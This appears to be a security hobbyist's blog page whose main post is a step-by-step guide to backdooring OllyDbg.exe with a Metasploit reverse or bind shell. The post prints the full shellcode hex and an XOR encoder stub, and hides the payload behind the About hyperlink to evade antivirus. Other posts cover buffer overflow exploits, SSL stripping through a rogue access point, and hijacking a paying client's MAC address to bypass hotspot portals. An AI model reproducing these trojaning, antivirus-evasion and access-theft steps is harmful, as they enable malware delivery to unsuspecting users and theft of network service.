Tricking AV Scanners

Introduction

This is a continuation of Backdooring PE Files article. We take off from the same binary that was backdoored. The idea now is to hide the malicious payload from AV detection. We will create a 2nd code cave to host the XOR stub, encode the 1st code cave that contained the msfpayload and then realign the stack and return the execution flow to its original position.

The trick here is not to execute the XOR encoder immediately when OllyDebug is run. Instead, we will choose a function inside it, when the user clicks on the 'Help->'About'-> Hyperlink button, the XOR stub will decode the msfpayload. This provides better AV bypass than executing XOR stub immediately. I scored 3/63 in virustotal! Meaning only 3 AVs detected my method :-)

Pre-requisite

1. Use cave_miner to identify a slack in the binary, we'll be using the second entry in the cave_miner output below:

# cave_miner search --size 700 OLLYDBG-04.exe

    /========\
   /    ||    \
        ||
        ||
        ||
   CAVE || MINER

[*] Starting cave mining process...
    Searching for bytes: 0x00...

[*] New cave detected !
  section_name: .data
  cave_begin:   0x000c9d4b
  cave_end:     0x000ca1b4
  cave_size:    0x00000469
  vaddress:     0x004caf4b
  infos:        Readable, Writeable, Contain initialized data

[*] New cave detected !
  section_name: .data
  cave_begin:   0x000caa39
  cave_end:     0x000cab3a
  cave_size:    0x00000101
  vaddress:     0x004cbc39
  infos:        Readable, Writeable, Contain initialized data

[*] Mining finished.

2. Note the original location of the 1st code cave in the earlier backdoored OllyDbg.exe. This is the location of the raw msfpayload:

Start: 00553000

End: 00553139

3.  We will use BT5 to generate reverse_shell payload, LPORT =1978, RHOST=192.168.0.162

msfpayload windows/shell_reverse_tcp LHOST=192.168.0.162 LPORT=1978 R > shell; hexdump -C shell | grep -v 0000013a |cut -d" " -f3-19|tr -d "(\n|'')"

fc e8 89 00 00 00 60 89  e5 31 d2 64 8b 52 30 8b52 0c 8b 52 14 8b 72 28  0f b7 4a 26 31 ff 31 c0ac 3c 61 7c 02 2c 20 c1  cf 0d 01 c7 e2 f0 52 578b 52 10 8b 42 3c 01 d0  8b 40 78 85 c0 74 4a 01d0 50 8b 48 18 8b 58 20  01 d3 e3 3c 49 8b 34 8b01 d6 31 ff 31 c0 ac c1  cf 0d 01 c7 38 e0 75 f403 7d f8 3b 7d 24 75 e2  58 8b 58 24 01 d3 66 8b0c 4b 8b 58 1c 01 d3 8b  04 8b 01 d0 89 44 24 245b 5b 61 59 5a 51 ff e0  58 5f 5a 8b 12 eb 86 5d68 33 32 00 00 68 77 73  32 5f 54 68 4c 77 26 07ff d5 b8 90 01 00 00 29  c4 54 50 68 29 80 6b 00ff d5 50 50 50 50 40 50  40 50 68 ea 0f df e0 ffd5 89 c7 68 c0 a8 00 a2  68 02 00 07 ba 89 e6 6a10 56 57 68 99 a5 74 61  ff d5 68 63 6d 64 00 89e3 57 57 57 31 f6 6a 12  59 56 e2 fd 66 c7 44 243c 01 01 8d 44 24 10 c6  00 44 54 50 56 56 56 4656 4e 56 56 53 56 68 79  cc 3f 86 ff d5 89 e0 4e56 46 ff 30 68 08 87 1d  60 ff d5 bb f0 b5 a2 5668 a6 95 bd 9d ff d5 3c  06 7c 0a 80 fb e0 75 05bb 47 13 72 6f 6a 00 53  ff d5

3a. Either way, you can also use BT5 to generate a bind_shell:

 msfpayload windows/shell_bind_tcp LPORT=1978 R > shell; hexdump -C shell | grep -v 00000155 |cut -d" " -f3-19|tr -d "(\n|'')"

fc e8 89 00 00 00 60 89  e5 31 d2 64 8b 52 30 8b52 0c 8b 52 14 8b 72 28  0f b7 4a 26 31 ff 31 c0ac 3c 61 7c 02 2c 20 c1  cf 0d 01 c7 e2 f0 52 578b 52 10 8b 42 3c 01 d0  8b 40 78 85 c0 74 4a 01d0 50 8b 48 18 8b 58 20  01 d3 e3 3c 49 8b 34 8b01 d6 31 ff 31 c0 ac c1  cf 0d 01 c7 38 e0 75 f403 7d f8 3b 7d 24 75 e2  58 8b 58 24 01 d3 66 8b0c 4b 8b 58 1c 01 d3 8b  04 8b 01 d0 89 44 24 245b 5b 61 59 5a 51 ff e0  58 5f 5a 8b 12 eb 86 5d68 33 32 00 00 68 77 73  32 5f 54 68 4c 77 26 07ff d5 b8 90 01 00 00 29  c4 54 50 68 29 80 6b 00ff d5 50 50 50 50 40 50  40 50 68 ea 0f df e0 ffd5 89 c7 31 db 53 68 02  00 07 ba 89 e6 6a 10 5657 68 c2 db 37 67 ff d5  53 57 68 b7 e9 38 ff ffd5 53 53 57 68 74 ec 3b  e1 ff d5 57 89 c7 68 756e 4d 61 ff d5 68 63 6d  64 00 89 e3 57 57 57 31f6 6a 12 59 56 e2 fd 66  c7 44 24 3c 01 01 8d 4424 10 c6 00 44 54 50 56  56 56 46 56 4e 56 56 5356 68 79 cc 3f 86 ff d5  89 e0 4e 56 46 ff 30 6808 87 1d 60 ff d5 bb f0  b5 a2 56 68 a6 95 bd 9dff d5 3c 06 7c 0a 80 fb  e0 75

4. This is the XOR STUB to encode, run it again and it will decode the payload. Pay attention to the start of the 1st code cave, the XOR key 0F, the end of the encoded address.

MOV EAX, 00553000          # Save start of encoding address in EAX, entry point

XOR BYTE PTR DS:[EAX],0F     # XOR the contents of EAX with XOR key 0F

INC EAX                                        # Increase EAX

CMP EAX, 00553139         # Have we reached the end enc. address?

JLE SHORT 004CAF54                 # If not, jump back to XOR command

The jump back to XOR command (004CAF54), is the address location of the XOR encoder: XOR BYTE PTR DS:[EAX],0F

Putting The Pieces Together

5. To trick the AV scanners, we should not trigger the decoder stub immediately but only when user clicks on a function in OllyDbg.exe such as Help->About->Hyperlink. To do this, we look for string text for reference in OllyDbg. In Immunity, Right Click->Search For-> All Reference Text Strings:

5a. Search for a text reference matching the function that you wish to hijack.

6. Secondly, we need to realign the entry point of OllyDbg to its natural flow since we had it modified earlier to jump directly to the 1st code cave. Below is the original entry point, which is what it's supposed to be.

7. The entry point to hijack is the 'About' function, which is located here:

00440CE2  |. 68 7F914B00    PUSH OLLYDBG-.004B917F 

00440CE7  |. 68 7A914B00    PUSH OLLYDBG-.004B917A                   

00440CEC  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]            

00440CEF  |. 50             PUSH EAX                                 ; |hWnd

00440CF0  |. E8 4DE60600    CALL <JMP.&SHELL32.ShellExecuteA>     

8.  Now change this entry address to jump to the 2nd code cave addr (the XOR stub location as identified by cave_miner)

eg:

JMP 004CBC39

9. Go to the 2nd code cave entry and enter the XOR stub. Press Ctrl-G and enter 004CBC39

10.  At the end of the XOR stub, retype the entry point code(first 3 lines):

eg:

PUSH 004B917F                  

PUSH 004B917A

MOV EAX,DWORD PTR SS:[EBP+8]

PUSH EAX

10. Lastly, it is time to jump to the 2nd code cave where our evil payload is located. The first time you jump here it will encode(XOR) the msfpayload, the 2nd time you jump there it will decode itself.

eg:

JMP 00553000

11. Save changes to Ollydbg-05.exe.

12. Reopen it in Immunity.

13. This time, place a Breakpoint just before the XOR stub and Step Into the XOR function (Press F7) until it finishes encoding. If you follow Dump in the EAX counter, you can witness the payload slowly encode itself in the Dump Window on the lower left panel.

13. Copy the encodered contents; highlight the encoded payload contents and Copy Executable->Selected encoded lines and save it to a new OllyDbg.exe file.

14. Now, execute OllyDbg.exe without Immunity and it should decode itself! OllyDbg should open up, when you press Help->About->hyperlink, a bind shell should appear on port 1978 localhost.

15. Done, try to scan it against virustotal to see your score! I got 3/63! Which is pretty impressive :-)

References

http://www.securitynewspaper.com/2017/11/21/fully-undetectable-backdooring-pe-files/
https://haiderm.com/fully-undetectable-backdooring-pe-file/

Vulnserver.exe

A few Buffer overflow scripts I wrote for vulnserver.exe. Mostly EIP overwrites and a few SEH. Played with egghunters too. You can access it, here.

EasyChat Server 3.1 Remote Buffer Overflow Exploit

A simple remote BoF exploit for EasyChat Server ver 3.1, CVE2004-2466. You can find the code @ my github gist. This exploit uses SEH overwrite which I find easier than the traditional EIP overwrite. With SEH, we overwrite it with the address location of the 'POP POP RET' directive directly on the stack, as opposed to hunting for a 'JMP ESP'. This exploit spawns a reverse meterpreter shell, which can be easily modified using msfvenom.

The exploit breakdown is pretty simple, there are only 2 bad chars to avoid, thus, none of which mangles the return address. Firstly, we send 217 bytes of 'A's to reach nseh, also known as an offset. Then, we hop over it with a 6 byte jump to seh, which contains the address location 'POP POP Ret' which puts us neatly at the start of our evil shellcode. Below illustrates the exploit:

pattern --> nseh --> seh --> evil buf

A word of caution to always check if SafeSEH is turn ON before trying to exploit this handler. This can be achieved by using the SafeSEH check in OllyDbg. Another reason of using SEH overwrite in cases you do not get an EIP overwrite immediately. You should be able to overwrite EIP, upon receiving the exception; press shift-control-f9 in Olly or Immunity.

I'm working on Egg Hunting, ASLR bypass and AV Avoidance techniques. In next month post, I'll publish several step-by-step instructions on developing more advance Windows Buffer Overflow exploits.



Note: All exploit codes are for educational purposes only, I take no responsibility for any unlawful or misuse of my code.

SSLStripping Using Wifi-pumpkin With Kali Linux

In my post last year I wrote about 'Protecting Your Data'. One topic I touched about protecting data while in transit.

Figure Illustrates a Rogue Wifi AP to Intercept Traffic 

With the proliferation of free wifi hot spots everywhere, it is important to be mindful of your privacy and online security. Such 'hotspots' could be deliberately setup to lure you to connect for free Internet access with an intention to harvest credentials such as webmail, social media & online banking accounts. During my test of Wifi-pumpkin, not all websites were vulnerable to ssl stripping. For instance, some websites implement HSTS (HTTP Strict Transport Security), a mechanism that denies HTTPS traffic from being downgraded. However, there are still a significant number of websites that are vulnerable to this form of attack. Some online banking websites have taken added precaution by encoding/hashing user credentials prior to TLS transmission. Thus raises the bar for the threat actor that intercepts to decipher the symmetric key. It is worth to note that sslstripping is also browser dependent. I've tested some stock browsers on older Android models and it works like a charm. Surprisingly, Firefox on mobile and PC seems to be vulnerable to this attack too. Check out the video to see how sslstripping removes the SSL/TLS hyperlinks in a search query done on bing.com and google.com. It was noted that bing does not warn the user of the downgrade but google does. The learnings from here is to be careful of  public wifi hotspots. Especially at airports, malls, cafe, etc. Always connect to a trusted vpn provider whilst using a public hotspot.

How to Bypass Public WiFi Landing Page

If you happen to travel to hotels, airports, malls, or starbucks. You often notice Free Wifi hotspots, usually these hotspots are open without authentication. Such hotspots are designed to automatically redirect clients to a landing page that requires authentication either via a preshared password or some personal details such as your email or phone no.

If you are like me, I hate paying or giving out unnecessary info to these hotspots for security reasons. You might like what I am about to share with you. Here is a simple technique to bypass the landing page. Basically landing pages are authentication gateways, with valid credentials, your MAC/Physical address will be allowed thru. As long as your MAC/Physical address doesn't change, you will be granted access to the Web.

Simple Bypass Technique
For this technique to work, you will need to spoof your MAC addr. Firstly, you will need to identify a  connected *cough* paying *cough* client that is already connected to the hotspot, then steal his MAC/Physical addr by spoofing the addr.

Here are the steps, you will need Linux with airmon, macchanger and airodump-ng. I use Kali and all of it are bundled.

Start the monitoring on wlan0:
# airmon-ng start wlan0

Your wlan0 should go into monitoring mode, now you can check for valid SSIDs:
# airodump-ng wlan0mon

CH 11 ][ Elapsed: 36 s ][ 2018-04-04 22:37                                       
                                                                                             
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                             
 40:E3:D6:23:A3:C0   -1        0        2    0   6  -1   OPN              <length:  0>       
 40:E3:D6:23:E2:61   -1        0        3    0   6  -1   OPN              <length:  0>       
 F0:5C:19:85:65:62  -53       26       29    0   6  54e. OPN              WE WiFi             
 F0:5C:19:85:65:63  -53       27        0    0   6  54e. OPN              aamra WiFi         
 F0:5C:19:85:65:60  -53       33        0    0   6  54e. WPA2 CCMP   PSK  <length:  0>       
 F0:5C:19:85:65:61  -54       28      402    0   6  54e. OPN              SKYLOUNGE           
 40:16:7E:BA:44:10  -62       35       17    0  11  54e  WPA2 CCMP   PSK  K-LOUNGE             
 E0:91:F5:7D:E7:A4  -65       22        0    0   6  54e  WPA2 CCMP   PSK  icon_Lounge_Wi-Fi   
 00:6C:BC:EE:8A:E3  -65       32        1    0  11  54e  WPA2 CCMP   PSK  MTB-AIR-LOUNGE WI-FI 
 88:D7:F6:04:C5:50  -71       18      171    0   6  54e  WPA2 CCMP   PSK  EK_SALES01           
 DA:0F:99:1C:E1:55  -73       15        0    0   6  54e  WPA2 CCMP   PSK  DIRECT-RC-BRAVIA

I'm going to target aamra WIFI. Firstly, connect to the SSID:
# airodump-ng --bssid 'F0:5C:19:85:65:63' wlan0mon

From here, take note of the clients that are already connected, chose your victim to hijack:

CH  7 ][ Elapsed: 24 s ][ 2018-04-04 23:05                                       
                                                                                             
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                             
 F0:5C:19:85:65:63  -59       24       99    2   6  54e. OPN              aamra WiFi         
                                                                                             
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                   
                                                                                             
 F0:5C:19:85:65:63  70:8B:CD:0B:CC:42  -32    0e- 6e    69      101


You can stop monitoring the Wifi:
# airmon-ng stop wlan0mon

Now change your MAC addr, first bring the wlan0 down :
# ifconfig wlan0 down

Now change your MAC addr and bring it back up:
# macchange -m 70:8B:CD:0B:CC:42 wlan0

Current MAC:   f8:34:41:5d:89:ce (unknown)
Permanent MAC: f8:34:41:5d:89:ce (unknown)
New MAC:       70:8b:cd:0b:cc:42 (unknown)

# ifconfig wlan0 up
# ifconfig wlan0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.208.113.56  netmask 255.255.240.0  broadcast 10.208.127.255
        ether 70:8b:cd:0b:cc:42  txqueuelen 1000  (Ethernet)
        RX packets 41  bytes 8537 (8.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 75  bytes 12831 (12.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Get a new IP addr:
# dhclient wlan0

And you are now good to go!! I recommend to keep a continuous ping to an Internet addr to keep your connection alive. The hijacked victim will not be able to connect unless you stopped communicating.

There are other fancier techniques such as tunneling thru DNS or ICMP traffic, perhaps I can cover that in the future.

Enjoy! ;-)

*Disclaimer: I take no responsibility for any unlawful or legal repercussion that might occur as a result of your action. This post is intended for educational purposes only.

PenTest Magazine Publication: Data Exfiltration via Encrypted DNS Tunnel using dnscat2

I'm proud to announce that my first article was published on PenTest Magazine, February 2018 issue. It's a subscription based magazine, the full article is available for download for subscribers only.

My article is entitled "Data Exfiltration via Encrypted DNS Tunnel using dnscat2". It is my first paid for article so I am super proud of it! The download link can be found, here. Do leave me your comments.

For my next piece of article, it is my hope that I will be able to write a short technical summary describing a working Windows Buffer Overflow Exploit development using Immunity Debugger. Part 1 was already published.

Cloudme Sync 1.9.2 Remote Buffer Overflow Demo

The last exploit I wrote used plain vanilla EIP overwrite. This time, I used a slightly different technique called SEH. The advantage over EIP is that SEH provides more buffer space for the shellcode. I thought it would be good to understand the difference between EIP and SEH based buffer overflow exploitation techniques. You can find my code on github, here. Here is a short video of my exploit in action.